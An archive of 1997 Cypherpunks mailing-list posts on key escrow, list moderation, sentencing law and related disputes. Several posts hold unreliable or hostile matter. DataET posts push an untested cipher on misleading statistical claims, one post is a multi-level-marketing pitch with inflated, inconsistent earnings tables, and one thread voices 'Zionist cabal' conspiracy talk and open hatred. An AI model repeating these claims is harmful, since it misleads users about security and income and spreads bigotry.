From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Thu, 9 Jan 1997 15:05:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation and the Polymorphic Virus
In-Reply-To: <199701091505.KAA02069@laf.cioe.com>
Message-ID: <970109.155557.4E2.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, serw30@laf.cioe.com writes:

> Dr.Dimitri Vulis KOTM writes: 
>> "Cypher punks" can't write any code - be it mail filters, viruses, or 
> crypto.
>> 
> Aw,  surely "Cypher punks" can write some sort of code.

I'm a cypherpunk.  Just for the record, I wrote the code that Vulis
himself uses to process his UUCP traffic.
- -- 
Roy M. Silvernail                             roy@scytale.com
              Keeping Waffle Irons hot since 1989
           Run Waffle?  Rnews locking up?  You need RUUXQT!
echo /get /pub/waffle/uuxqt37.zip | rmail file-request@scytale.com

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TsuIEfcu7XhVbYl1O/xw1l50mgiOJWtinxAyhrabRClNDCz8zmiPB3p7gqSPFVwr
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=VdZ2
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 9 Jan 1997 15:58:31 -0800 (PST)
To: kkirksey@appstate.campus.mci.net (Ken Kirksey)
Subject: Re: Key Escrow Good, GAK Bad
In-Reply-To: <199701092131.QAA00797@aus-c.mp.campus.mci.net>
Message-ID: <199701092357.PAA23840@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Ken Kirksey writes:
> 
> >  To me, Key Recovery cryptography is like using a condom with a
> >hole in it. No thanks.
> 
> I agree in principle, and I doubt I would ever use a key recovery system 
> if I had a choice.  But, speaking as a network manager, I know that 
> private key recovery (not GAK) can be an enhancement to security.  
> 
> I'll give an example.  About a year ago, my boss wanted to protect his 
> file of annual financial projections for the company from prying eyes on 
> our Macintosh network.  I installed CurveEncrypt on his machine, showed 
> him how to use it, and gave him the standard lecture on choosing a good 
> passphrase.  I stressed that he needed to chose a passphrase easy to 
> remember, because if he forgot it, there was no way to get his file back.
> 
> Well, he forgot his passphrase.  He spent an hour trying every 
> combination he could think of, interjecting a curse here and there for 
> color.  He is now totally off using encryption to protect sensitive 
> information.

User education would be even easier than key escrow.  Your boss could
have shared that passphrase with one or more other people, ideally the
people who helped him make the report.  When you encrypt something
that's vital to the company, you need to make sure that it can be
gotten back.  In most companies, there's more than one person who
is 'cleared' for even the more vital information.  The keys to
those files should be shared amongst those people.

Unfortunately, few encryption programs make this easy.  And even though
you can do it in PGP by encrypting to multiple recipients, how many
people think to do so?  I don't.  Most programs assume that there's one
key that that's used to encrypt everything, hence one level of security-
the highest.  But in a business situation you really need to be able to
encrypt something with your key and your secretary's key, or the keys of
all the board members, etc.



-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ken Kirksey <kkirksey@appstate.campus.mci.net>
Date: Thu, 9 Jan 1997 13:36:54 -0800 (PST)
To: "Cypherpunks" <cypherpunks@toad.com>
Subject: Key Escrow Good, GAK Bad
Message-ID: <199701092131.QAA00797@aus-c.mp.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


>  To me, Key Recovery cryptography is like using a condom with a
>hole in it. No thanks.

I agree in principle, and I doubt I would ever use a key recovery system 
if I had a choice.  But, speaking as a network manager, I know that 
private key recovery (not GAK) can be an enhancement to security.  

I'll give an example.  About a year ago, my boss wanted to protect his 
file of annual financial projections for the company from prying eyes on 
our Macintosh network.  I installed CurveEncrypt on his machine, showed 
him how to use it, and gave him the standard lecture on choosing a good 
passphrase.  I stressed that he needed to chose a passphrase easy to 
remember, because if he forgot it, there was no way to get his file back.

Well, he forgot his passphrase.  He spent an hour trying every 
combination he could think of, interjecting a curse here and there for 
color.  He is now totally off using encryption to protect sensitive 
information.  He refuses to use it, and he discourages anyone in the 
office from using it.  I know that his position is unfair, but he _is_ 
the boss, so he makes the rules.  

And he is a typical computer user.  If your average joe forgets his 
passphrase and loses two days worth of work, he's not likely to encrypt 
his work again.  (Or he's likely to write down his passphrase in the 
future).  If we were using a Key Escrow system, this situation could have 
been avoided.  Yes, using a key escrow system is less secure that using a 
non-key escrow system, but I'd argue that using a strong key escrow 
system is better than using no encryption at all in situations like this. 
 Our network is less secure that it could be because of one user's bad 
experience.

Ken




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dimple@pacific.net.sg
Date: Thu, 9 Jan 1997 00:49:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM Key Recovery Propaganda on United Airlines
Message-ID: <199701090849.QAA17079@darwin.pacific.net.sg>
MIME-Version: 1.0
Content-Type: text/plain


The commercials between the movie and news show on the airline include an
IBM spot on their new Key Recovery software.  Sigh.

The explanations they gave were mixed; one person was talking about
making sure that if you lose the key that people with a legitimate need
to access the material can do it.  The other example they gave, with
pictures, was along the lines of
"Suppose you're going on vacation and you want to leave a key with
a neighbor to feed the dog.  A safe way to do it would be to put your house
key in a lockbox that needs several keys to open it, and give those keys
to people you trust."  Yeah, right - cops can get in, but Dog's gonna get 
pretty hungry....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 16:12:35 -0800 (PST)
To: "Butler, Scott" <SButler@chemson.com>
Subject: Re: A vote? of confidence for Sanderson.
In-Reply-To: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970109100036Z-508@csa-ntx.chemson.com>
Message-ID: <32D592FF.539A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Butler, Scott wrote:
> 
> (Well it normally works over here in the U.K...if a football manager
> receives a vote of confidence from the board of directors it is a
> foregone conclusion that his resignation will be handed in or his P45
> will be handed out within days!)

  Why is everybody 'voting'?

  There 'is' no vote.
  There was an 'announement' of what 'will' be done.
  You may 'agree', or 'disagree', or 'comment'.
  But vote?

  I would hate to burst anyone's bubble, here, ( <--- A LIE! ), but I
get enough illusory 'choices' in the 'real' world to fulfill my need
for self-deception. 
  I choose between the Republican Hitler and the Democratic Hitler.
I choose between driving the 'red' piece-of-junk and the 'blue' piece-
of-junk. I choose between the white sand in the Vaseline or the black
sand in the Vaseline.

  If you feel the need for some illusory sense of control over what has
already been decided, then, by all means, forward your votes to
/dev/null.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 9 Jan 1997 15:20:12 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <Pine.3.89.9701091121.A2331-0100000@netcom3>
Message-ID: <199701092323.RAA12536@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.3.89.9701091121.A2331-0100000@netcom3>, on 01/09/97 at 03:38 PM,
   "Z.B." <zachb@netcom.com> said:


>Not necessarily, Steve - some people plonk others by filtering their mail 
>to a folder called "trash" or "crap-messages" or whatever, so they don't 
>have to read them at the same time they read the rest of their messages.  
>Then they go through the trash folder later on just to see if they threw out  anything
>that they shouldn't have, see the messages by the people they 
>killfiled, and reply to some of them.  They HAVE plonked the person, but 
>they can still read and reply to the plonked messages if they choose.  

>IMO, this is a better way to killfile than redirecting everything to 
>/dev/null, because if someone has a history of violently flaming whatever 
>you say (like some people on this list who shall remain nameless), you don't  have to
>read their flames at the same time with the rest of the mail, but  still have the option
>of reading and replying to them later on if you so 
>choose.  

This is exactly how I have my twit filters set up. :)

I also have max # of messages & max # of days settings for my twit folder
so that messages that have stayed too long get automatically deleted.

I currently have 2 different folders set up 1 for twits and 1 for anonymous
posts. The twit folder is set to delete after 1 day while the anonymous posts are saved
for a week.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 9 Jan 1997 22:32:15 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Homosexual Lynch Mob, Cabal
In-Reply-To: <Pine.LNX.3.95.970108083539.23487N-100000@dhp.com>
Message-ID: <32D59F3E.59B1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Stephen Boursy wrote:
> Dale Thorn wrote:
> > aga wrote:
> > > Stephen Boursy wrote:
> > >> Dave Hayes wrote:[snip]
> > A lot if people act (pretend to be?) shocked to find that a so-called
> > minority would practice discrimination.  A classic example from what
> > I've heard is the ADL going *against* the World Jewish Congress and
> > lining up with the U.S. State Dept. in the 1930's, to *suppress*
> > Jewish dissenters in the U.S., because it was "good for business"
> > at that time.

> That was due to zionism was it not?  I hate zionists with a passion.
> Zionists continue to this day to make all sorts of unsavory tradeofffs
> to keep their stolen land--there is only one solution there and Arafat
> no longer has what it takes (he sold out too).

This is really a tough one.  I'd guess that the agenda of Zionists,
as well as some of their allies, changes or incorporates additional
goals at different levels in the cabal.  We all know what the lower
levels look like, but the nature of the very top level intrigues me
to no end.  Is it just money and power, control of property etc.?
Or is it something "really evil"?

> But I think the policy of public gay bashing on the usenet to be
> counter-productive, irrational and unfair (aside from bad PR). Bob
> Allisat for example is completely alienated from some here because
> of this--I respect Allisat a great deal--he's done much for usenet
> freedom and has a real mouth on him.

That you respect him says a lot for him in spite of his alleged
irrationality.

> A large percentage of the population is gay--the average citizen is
> moving in to the usenet and we need their support if we are to toss
> the cabal in the trash and in some cases jail.

The average citizen will never support freedom fighters, and I think
this is even more true of the Internet than in the outside world.
Of course, I hope I'm wrong, or that there's some technology or
formula that will enable average people to have the courage to
defend that freedom.

> Deliberatly alienating such a large class of people is not logical
> nor is it fair.  It is of course everyones right to freely do so--
> here and in any forum on usenet.

I am sympathetic to what you're saying.  I am also sympathetic to the
opinion that there are some things that people practice which are OK
if they affect only them and nobody else, but are not necessarily OK
when they affect others.  One of the things that make a society a
society is the relative accomodation or tolerance that society has
for various practices and beliefs which are outside of the norm.

The PC premise is that it's OK to have certain practices and beliefs
which are outside (sometimes way outside) of the norm, but that to keep
from hurting the feelings of what are (or in the PC people's opinion
should be) protected classes of people/practices/beliefs, we should
refrain from speech or actions which has the effect of offending
these people.

You'll note in the last presidential campaign, to name an example, much
of the media beat up on Pat Buchanan, going so far as to call him a Nazi
and so on. (Not that they would do that to Reagan, who is IMO a real
Nazi, BTW.)  Now, those folks who don't like to be called "fag" or
whatever, did they speak out against this public labeling of Buchanan?
I don't know a damn thing about the real Buchanan, although I know that
William F. Buckley Jr. is a real scumbag, to name a relevant example.

I'm sorry if I don't conform 100%, but I just don't see any real justice
being called for and worked for by the PC mob - I only see selfishness
and an ongoing attempt to transfer more power from the mainstream public
into the hands of various special interest groups.

Tell you what, though.  If any gay interest group comes out for justice
in a substantial way, that is, if they call for changes I can believe in,
I'll support them to that extent at least, and try to stay out of their
way otherwise if possible.  But I won't hold my breath on that.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 15:06:08 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.LNX.3.95.970108231558.1800A-100000@eclipse.voicenet.com>
Message-ID: <Pine.SUN.3.94.970109173741.707A-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997, Mark M. wrote:

> Date: Wed, 8 Jan 1997 23:35:35 -0500 (EST)
> From: "Mark M." <markm@voicenet.com>
> To: cypherpunks@toad.com
> Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Tue, 7 Jan 1997, Declan McCullagh wrote:
> 
> > The Supreme Court ruled on this sentencing case yesterday. Kennedy and
> > Stevens -- hardly known as civil libertarians -- dissented. The Court
> > reversed the 9th Circuit, ruling the lower court was wrong to say that
> > such a practice "would make the jury's findings of fact pointless." The
> > court declared: "Sentencing enhancements do not punish a defendant for
> > crimes of which he was not convicted, but rather increase his sentence
> > because of the manner in which he committed the crime of conviction."
> > 
> > Double jeopardy? What's that?
> > 
> > Of course it was a drug crime. The defendant, Vernon Watts, was convicted
> > of cocaine possession with intent to distribute. To paraphrase another
> > saying: "'Drug Trafficking Offense' is the root passphrase to the
> > Constitution."
> 
> IANAL, but this ruling is not as bad as it may seem.  If I read it correctly,
> the ruling says that a judge is allowed to consider offenses related to the
> crime for which the defendant was convicted regardless of whether or not the
> defendant was acquitted of those charges.

Basically correct.  Lesser included offenses are seperate offenses.
Robbery, as a very mundane example, is a combination of larceny and
assault. If the assault charge cannot be proven, robbery cannot be proven,
but larceny still can independently.

Sentencing enhancements:

There is a big book called the Federal Sentencing Guidelines Handbook (or
some such).  To arrive at the appropriate sentence range, you add up the
points of all the offenses the defendant was convicted of (Assume Bank
Fraud is 18 points, Murder 35 or whatever- I dont remember them offhand)
and run across a chart which has "criminal history catagory" on the
vertical axis.  Where the two meet gives you the sentence range.  I'm not
near my office right now, but if there is enough interest I will dig up
the current handbook and run a sample sentencing through.

The most common one I see is "Victims helpless or infirm" which usually
boosts 2 to 5 points.

Sentencing enhancements are not double jeapordy either.  I don't see how
you can argue they are.  For example, there is a provision in bank fraud
sentencing guidelines which enhances the sentence according to the size of
the loss, and I believe there is a kicker if the financial institution
folds.

I believe the highest base offense level was "Espionage" or some such.

There are also sentencing limiters.  "Defendant displays clear remorse."
I think is one.

Go out to a law book store and take a look at the guideline book.  It's
actually a lot of fun.  "Ok, say I killed my wife for her coke stash and
recruited my brother to dump the body..."

> Judges are allowed to consider past
> criminal convictions or behavior relevant to the crime for which the defendant
> was convicted during sentencing.  Sentencing guidelines instruct the judge on
> how severe or lenient a sentence should be based on the severity of the offense
> and past criminal record.  These facts to not have to be true beyond a
> reasonable doubt.

They need only be noted as a finding of fact by the jury.  (Or the judge
in other cases).

> In one case, the defendant was convicted of possession of cocaine with intent
> to distribute but was found not guilty of possession of a firearm related to
> a drug charge (apparently, this is a crime).

It's both a crime and an enhancement for most federal drug offenses.

> The jury decided that there was
> reasonable doubt as to whether the gun had anything to do with the drug
> offense.  However, the defendant was sentenced according to the recommended
> sentence for someone convicted of a drug offense when there is a weapon
> involved.  If possession of a firearm related to a drug offense had not been
> a crime, the judge would have been able to give the defendant the same sentence
> without having proof that there was not reasonable doubt as to whether the gun
> was related to the drug offense.

Well, just about.  The sentencing enhancement might not be enough points
to kick the defendant into the next bracket.  It depends on how many base
offense points the defendant has before you start throwing in
enhancements.  The judge probably would have gotten a higher maximum from
the combined crime, but the jury has to find guilty of that offense.

> All this ruling really does is it gives the judge the power to consider all
> facts, including those found by a jury to be doubtable, when sentencing the
> defendant.  It doesn't allow the judge to sentence the defendant to a higher
> punishment than the maximum sentence.

Well, it can increase the maximum actually, because it actually adds
offense points.

> This is a power that judges have when
> the defendant does something legal, but has connection to the actual crime.
> This ruling just extends that power to include when the action in question is
> illegal.

Congress has already passed on the sentencing enhancements in most cases,
making them simply "versions" of crimes.

If you want to look at it a different way, if you are involved with a drug
offense and are not using a weapon, you'll get a lower sentence than a
full fledged drug crime.  It's a step in the right direction - i.e. away
from manadatory sentencing of a flat time period for a crime regardless of
circumstances.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 15:12:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: IMPORTANT: Additional information about UDCM.
Message-ID: <970109181113_1044501439@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


{Please read this *entire* e-mail message.}

Hi,

A detailed description of the IMDMP encryption algorithm will be posted to
this mailing list within a few days. An end-user application will be released
within a few weeks. I would appreciate it if all you cypherpunks out there
review the description and the software, and tell me what you think of IMDMP.


Also: The AOL web site address my company has may not always work out when
the server is having problems or user overloads. Please try again later.
Again, the web site address for UDCM, Universal Data Cryptography Module, is:
http://members.aol.com/DataETRsch/udcm.html.

IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
yes, many algorithms do *not* have multiple encryption layers, although,
obviously, the more advanced ones do. Also, 256 bytes is equal to 2048 bits.
I realize that most of you out there know that, but some of you don't. "Bits"
are referenced more often than "bytes". And, the "industry standard" that
IMDMP is obviously well above is DES, etc. Also, DES 128, PGP 1024, RSA 128,
IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file
full of about 64 *million* repeating "A" ASCII character bytes. The mutation
levels the algorithms rendered on their individual trash test files were
compared. Subtle patterns where searched for. Binary character tallys where
taken. IMDMP did *not* leave *any* repeating patterns in the test file that
was used. In IMDMP, each of the 256 possible binary character combinations
had an approximate count of  0.390625% of all of the 64 million bytes.
 0.390625% is the best possible percentage. Are all of you out there
satisfied?

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 15:17:48 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <y7V0ZD1w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.94.970109181157.707C-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> > Well I guess I will not need to worry about them since I will never run any G
> > reguardless how may laws the jackboots in DC pass.
> 
> That's from the same guy who endorses censorship on this mailing list...

Wait a second, isn't that what you were just calling for in my case?

To wit: "I suggest zero tolerance of Black Unicorn unless and until
someone reveals his real name."

For the guy who has been screaming his head off about censorship to the 
point of nausea you were sure quick to turn your coat in my case.  That
more than anything else you have ever said puts the cap on your 
credibility as far as I'm concerned.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 15:25:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Thanks.
Message-ID: <970109182452_578470125@emout04.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Thanks for clearing up that file size query for me. You are right about that
258 (it's actually 256) header attribute. In that header is where the IMDMP
special security option settings are stored (if they are indeed enabled). But
the options are rarely ever used by most developers. For more information,
download UDCM V2.0 from: http://members.aol.com/DataETRsch/udcm.html and view
the help documentation. Also, the 256 byte header itself is encrypted with a
128-bit encryption code.

Thanks again! :-)

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Guy Hoogewerf <ccr@imsnispc01.netvigator.com>
Date: Thu, 9 Jan 1997 15:56:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MNET
In-Reply-To: <m0viDTp-000DNpC@nile.wsc.monash.edu.au>
Message-ID: <32D5A901.16F0@netvigator.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@toad.com wrote:
Dear Future M-NET subscriber,

*************************************************************
*               The M-NET HOME PAGE                         *
*       http://www.hk.super.net/~alamo/mnet/home.html       *   
*************************************************************

Thank you for your interest in the M-Net Webpage.  I encourage
you to PRINT and read this "Introductory Newsletter" in its
entirety. Although it is longer in length than M-Net's regualar
update the contents will give you a good idea of the products
and opportunity available through subscription to our service.  

M-Net, in itself, is a great part time income opportunity. All
you do is offer the products and services of M-Net to others.
You can do this via the Internet as I have, or just to a few
freinds and contacts. Just help get the word out - whether by
Internet ads, flyers, postcards, classifieds, or word of mouth.

Choose any method you're comfortable with . . . they all work.
After all,  almost everyone has to pay a telephone bill and
would like more income!

Whenever anyone that you (or your subscribers) have shared
M-Net with subscribes to the service, your income grows. The
compensation plan is described in detail in this introduction.
You can quickly develop an income of $300.00 to even $3,000.00
or more per month!

========================
GETTING STARTED IS EASY!
========================

To get started, simply send in a completed form and start
saving money straight away. 

==============================================================
                You can subscribe to M-Net's service:
                   mailto:ccr@netvigator.com
==============================================================

...or you can use the subscription form at the end of this
introduction. In addition to the service you will receive a
welcome package which includes a Company Manual, brochures, and
extra Introductory Newsletters.
I look forward to hearing from your shortly.

Yours in success,

Guy Hoogewerf
M-Net Associate
ID# 11167

8/F, Yau Shun Building
46-50, D'Aguilar Street
Central,  Hong Kong
Tel: (852) 2868 6198
Fax: (852) 2524 1233

==============================================================
                    INTRODUCTION TO M-NET
==============================================================

"I would rather benefit from 1 % of 100 people's effort than
benefit from 100% of my own". The words of John Paul Getty.

M-Net, founded by Ed Brinskely, offers the average American
the tools and education they need to:
  
1. Reduce their telephone bills with simple innovative system
of Call-back, and  
  
2. To increase their income with a solid home based business.  
 
M-Net may be contacted at: 
8/F, Yau Shun Builing
46-50, D'Aguilar Street
Central, Hong Kong
Tel: (852) 2868 4198
Fax: (852) 2524 1233

NO SPECIAL SKILLS are required to be successful with the M-Net
Program.

We firmly believe that the vast majority of people do not want
a "hand out," but merely a "helping hand" and that is the
mission of M-Net. If you are looking for sound, time tested
advice to help you take control of your finances and runaway
debt, combined with a solid home business income opportunity,
and are not afraid of a little honest hard work, then you owe
it to yourself to learn all you can about the M-Net program.  
  
Unlike "get-rich-quick" schemes, a legitimate program requires
an investment of your time and resources in order to succeed.
Let's face it, hard work, dedication, commitment and persistence
are what built this country and made people wealthy in the
process. And the M-Net program is no different.  

However, M-Net offers one distinct advantage over many other
opportunities  available today. M-Net saves your business money
on your communication needs. 

Other opportunities require you to invest money which you may
not have.  
  
M-Net offers and teaches you teaches you sound financial
principles, strategies and techniques to help you free up the
resources it takes to achieve success! 

M-Net will also show you how to get onto the Internet with
minimal cost so solving two of the entrepreneur's largest
business expenses, advertising and telephone costs.  

The M-Net program offers a unique pay plan that rewards you with
a $25 commission on all your first level subscribers and pays you
a total of 12.5% through 10 levels on everyone's telephone bill!
You can easily qualify for commissions on all 10 levels by simply
sponsoring just one person... just one.  
  
M-Net furnishes you with all the tools necessary to finance this
exciting, home business opportunity's quick growth, enabling you
to develop a substantial monthly income for you and your family.
You'll receive the education, promotional materials, and support
while you provide the desire, dedication, hard work and
perseverance. And you don't even need a computer to succeed with 
the M-Net program either. A substantial income can be built by
ANYONE simply by telling their friends! After all they will want
to save money as well!!

With an incredible pay plan and proven income producing system
(along with a little simple hard work), you will succeed in
developing the extra income to take that extra hoiday you wanted
or to help pay off that morgage you have.
  
Please feel free to call the M-Net office at (852) 2868 4198
anytime with questions, comments, or suggestions. The doors are
always open and a voice mail system is available 24 hours a day
to take your calls.

Some Statistics:

¨ 1/3 of all produce in America was shifted through a Multi-
Level Marketing Program in 1995.
 
¨ There are 8,000 Multi-Level-Marketing Companies Worldwide.
 
¨ A MLM Company opened this year in China. They had 23,000 new
customers in 2 weeks
 
¨ Telecommunications is the third largest Industry worldwide,
it is also the fastest growing.
 
My Point:

¨ Multi-Level-Marketing is the ultimate way to market a product.
Three simple reasons:

I.   The Consultant benefits from commissions, no investment,
minimal work, a rewarding experience.
II.  The user benefits from reduced prices, no middle men.
III. The Producer benefits from reduced distribution costs,
direct links with consumer needs
 
Benefits to you the consultant:

All customer Service and Support is taken care of by M-Net and
their home company MTC. As an M-net Consultant you are paid to 
'spread the word'.

The limits to your earnings are unknown and they are residual.
You carry on been paid even after you retire from the program.
 
You participate in a unique set of products. M-Net can offer
you a complete telemanagement system. i.e. Callback services,
Travel Cards, Fully Itemised billing, and other more technical
services such as; conference calls, Free phone lines, Fax on
Demand, Autocall and Air freight Services.

¨ No other Telephone Callback Company can do this.

You receive the lowest rates ALL round the world. M-Net, unlike
any other company, offers you discount services from Every
Country to Every Country Worldwide.

¨ Examples are calling; your Children at School, from a hotel
you might be staying at, or just calling your family abroad.

Requirements from you:

M-Net is a non-profit service to supply you with all the
information you need to understand the Telephone Industry and
products M-Net provide. There is a minimal introduction fee
of US$99.99  to cover these costs, but by the end of the first
month you would have made back the initial investment either
with the savings on your Bill or through just connecting 5 
people to M-Net's service. Free connection to the network is
also included when subscribing as an associate.

As time goes by and the money starts to come in, you will
want to spend more time on this project, anything up to 1
hour a week is all it takes. A simple guide as to how much
time is required is 'the more time you invest the greater
your return on investment'.

   ======================================================
                   The aim of the Concept.
   ======================================================

The aim is not to make a million in one month.  What M-Net
are offering is a constant growing income every month. The
aim is not to sell as many Callback systems as quickly as
possible either. M-Net are saying Callback is, already, a
sold product. Everyone knows it saves you money. M-Net are
offering a way to make money out of Callback. Just because
it is the cheapest has little to do with it. You can sell
a Callback a hundred times but won't get everybody using it.

M-net are saying, by becoming an Associate, you most likely
will use the service for your own benefit (its free to join
after all). Added to that as a Associate, you will ensure you,
that you yourself, get maximum benefit out of using the system.

So, you are an Associate first and a user second (you do not
have to use it). I would now like to offer an example; 

  ======================================================
                  The Twelve Year Plan.
  ======================================================

You find just one person who wants to use the service in
one year, i.e. a long time. During the following year both
you and he find one person each. You now have four people
using the system. In the third year all four of you find
one person, you have eight in your group. Year four and it
doubles again, 16 and again in the fifth year to 32, 64,
128, 256, 512, 1024, 2048 and finally at the end of the
twelfth year 4,096. 

What you will find is, depending on how much time people
are willing to invest, some people will find up to 20
people a year while others will be comfortable with only
one a year.

Speeding This Up.

Taking this example further; the next stage is to speed
up this progress of multiplication. There are two easy
ways to do this.

1.      Shorten the Time. instead of 1 person every year
how about one person every month. This gives you an income
of over US$3,000 a month within a year. How this happens
I will explain later.

2.      Increase the number of Sponsorships. Instead of
just one person a year or month, why not 3 or 5. This can
be demonstrated by taking the pattern of 2,4,8,16,32,64 and
so on and doing it with three people instead of one. 1,3,9,
27,81,243 and so on...Or even better with 5. 1,5,25,125,625.
The Multiplication factor is important and akes the ultimate
difference.

How Does This Fit In With M-Net ?

The Commission Pay Plan is, like the system itself, as simple
as possible.

There are three areas.

You receive a commission of 1% on anybody and everybody's
telephone bill on 10 levels of your group or organization.
On the third level you recieve a bonus  commission of 2.5%
extra.

Your customers will also recieve a commission as a customer
if they introduce anyone to the system. They will recieve 0.5%
on 10 levels of a potential organzation that you may
inadvertently build up for them.

There is a pay out of $25 on each new member. $5 is given to
the Associate who accepts the subscription and $20 for the
customer who referred that new member. If you are the
Associate and the referring member i.e. the new member is
your introduction then you recieve the full $25.

So!!

Levels    # of Associates Commission      Monthly Earnings
You           0               0               0
1             4               1%              US$ 4.00
2             13              1%              US$ 13.00
3             40              3.5%            US$ 14.00
4             121             1%              US$ 121.00
5             364             1%              US$ 364.00
6             1,093           1%              US$ 1,093.00
7             3,280           1%              US$ 3,280.00
8             9,841           1%              US$ 9,841.00
9             29,524          1%              US$ 29,524.00
10            88,573          1%              US$ 88,573.00

This assumes an average of $100 is spent per member and every
Assoicate has the ability to find three further Associates.
This does not allow for the many people who would just become
customers, thereby increasing thse figures.

This is a cumulative calculation

       ===============================================
                    How To Sponsor!
       ===============================================

Back to first principals again. M-Net know and do not expect
anyone to be able to reach these magic figures just like that.
No one is sent out to 'spread the word' on their own.
Sponsoring is about support and passing on information. Like
Chinese whispers but ensuring the message is not altered. It
is M-Net job to ensure the message remains the same, let them
worry about this. That is what their complete support and back
up service to their associates is for.

Sponsoring is about keeping it simple, no one is expected to
get involved in Telecommunications, there is no need to. Each
person can take technical side of the business as far as they
want to, it is up to them. Each person just uses the product
themselves or at least knows how to use it even if they do not
use it.

The easiest way, as in any business, to sponsor is to get
someone else to do it. So only involve people who are prepared
to sponsor others, Only involve small numbers i.e. 3 or 5. The
returns are greater this way and the input by you less.

The Challenge is; Do you know 3 people who spend as little as
US$100 a month on their phone bill? Do these people know 3
people who spend US$100 a month? and so on. These are your
customers.

We in Hong Kong as M-Net principal office here, provide a full
support service. This includes a telephone service to answer
any questions. Twice weekly meetings for Assoicates to come
and introduce new Associates and to learn of new developments
with in M-Net, and a Bi-Weekly News Bulletin is sent out to
keep every one updated.

The purpose of these services are threefold:

1.      To encourage maximum communication between M-Net and
        its users,
2.      To ensure the continued growth of M-Net
3.      To provide Educational Material on how to create a
        MLM business with minimum input.

    ==================================================
                         Summary
   ===================================================

With this huge support network behind you, you should not only
be encouraged but also receive a healthy regular income only a
few months after you join. You now have a description of the
philosophy of MLM, and an example with some notes on how to go
about it. I would strongly recommend you come to a meeting and
find out more. MLM is NOT a hidden catch business, it is a
very viable spare time occupation, which more than adequately
rewards you.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
